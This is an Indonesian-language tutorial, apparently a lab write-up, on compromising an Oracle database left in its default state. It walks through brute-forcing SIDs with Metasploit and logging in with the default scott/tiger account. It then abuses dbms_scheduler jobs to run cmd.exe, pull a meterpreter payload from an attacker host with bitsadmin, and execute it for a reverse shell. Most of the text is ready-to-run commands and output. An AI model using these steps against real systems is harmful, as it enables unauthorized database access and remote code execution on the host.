Meninggalkan database dalam keadaan default merupakan salah satu celah keamanan yang dapat di-exploitasi. Berikut artikel nya.
Untuk melakukan exploitasi pada database Oracle pertama kita harus melakukan enumerasi SID apa yang dipakai pada database Oracle tersebut. Salah satu caranya adalah dengan menggunakan metasploit-framework
msf auxiliary(scanner/oracle/sid_brute) > run
[*] 10.10.10.82:1521 - Checking 571 SIDs against 10.10.10.82:1521
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Oracle - 'XE' is valid
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Oracle - 'PLSEXTPROC' is valid
[+] 10.10.10.82:1521 - 10.10.10.82:1521 Oracle - 'CLREXTPROC' is valid
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Setelah mendapatkan SID Oracle langkah selanjutnya adalah mencoba menebak username dan password yang digunakan. Oracle memiliki beberapa user dan password default yang bisa digunakan untuk enumerasi ini. Disini kami menggunakan username scott dengan password tiger.
sqlplus "scott/tiger@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=10.10.10.82)(PORT=1521))(CONNECT_DATA=(SERVER=dedicated)(SERVICE_NAME=XE)))"
Setelah berhasil masuk kita lakukan exploitasi menggunakan dbms_scheduler. Secara default instalasi dbms_scheduler biasanya tidak enable. Kita lakukan query dibawah ini untuk mengenable fungsi / procedur dbms_scheduler.
exec dbms_scheduler.set_scheduler_attribute('scheduler_disabled','false');
Sekarang kita akan mencoba memperoleh reverse shell dengan menggunakan dbms_scheduler ini. Pertama pastikan Oracle database dapat berkomunikasi dengan PC attacker dengan melakukan ping.
exec DBMS_SCHEDULER.CREATE_JOB(job_name=>'wew4',
job_type=>'EXECUTABLE',
number_of_arguments=>3,
job_action =>'C:\WINDOWS\system32\cmd.exe',
auto_drop=>FALSE);
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('wew4',1,'/q');
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('wew4',2,'/c');
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('wew4',3,'c:\windows\system32\ping.exe 10.10.14.112');
exec DBMS_SCHEDULER.ENABLE('wew4');
exec DBMS_SCHEDULER.RUN_JOB('wew4',false);
Jika berhasil mendapatkan traffic dari ping maka kita bisa mendapatkan reverse shell dari database Oracle ini. Sekarang kita akan mengupload binary meterpreter.exe ke database Oracle ini dengan menggunakan bitsadmin.
exec DBMS_SCHEDULER.CREATE_JOB(job_name=>'wew5',
job_type=>'EXECUTABLE',
number_of_arguments=>3,
job_action =>'C:\WINDOWS\system32\cmd.exe',
auto_drop=>FALSE);
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('wew5',1,'/q');
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('wew5',2,'/c');
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('wew5',3,'c:\Windows\System32\bitsadmin.exe /rawreturn /transfer getfiles http://10.10.14.112/m_4555.exe c:\m_4555.exe');
exec DBMS_SCHEDULER.ENABLE('wew5');
exec DBMS_SCHEDULER.RUN_JOB('wew5',false);
Setelah meterpreter berhasil diupload lakukan eksekusi dengan menggunakan query dibawah.
exec DBMS_SCHEDULER.CREATE_JOB(job_name=>'wew6',
job_type=>'EXECUTABLE',
number_of_arguments=>3,
job_action =>'C:\WINDOWS\system32\cmd.exe',
auto_drop=>FALSE);
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('wew6',1,'/q');
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('wew6',2,'/c');
exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('wew6',3,'c:\m_4555.exe');
exec DBMS_SCHEDULER.ENABLE('wew6');
exec DBMS_SCHEDULER.RUN_JOB('wew6',false);
Selain dengan cara manual seperti diatas ada beberapa tools yang bisa melakukan hal diatas secara otomatis. Script yang biasa digunakan adalah odat.py yang tersedia digithub.
Terima kasih telah membaca artikel ini.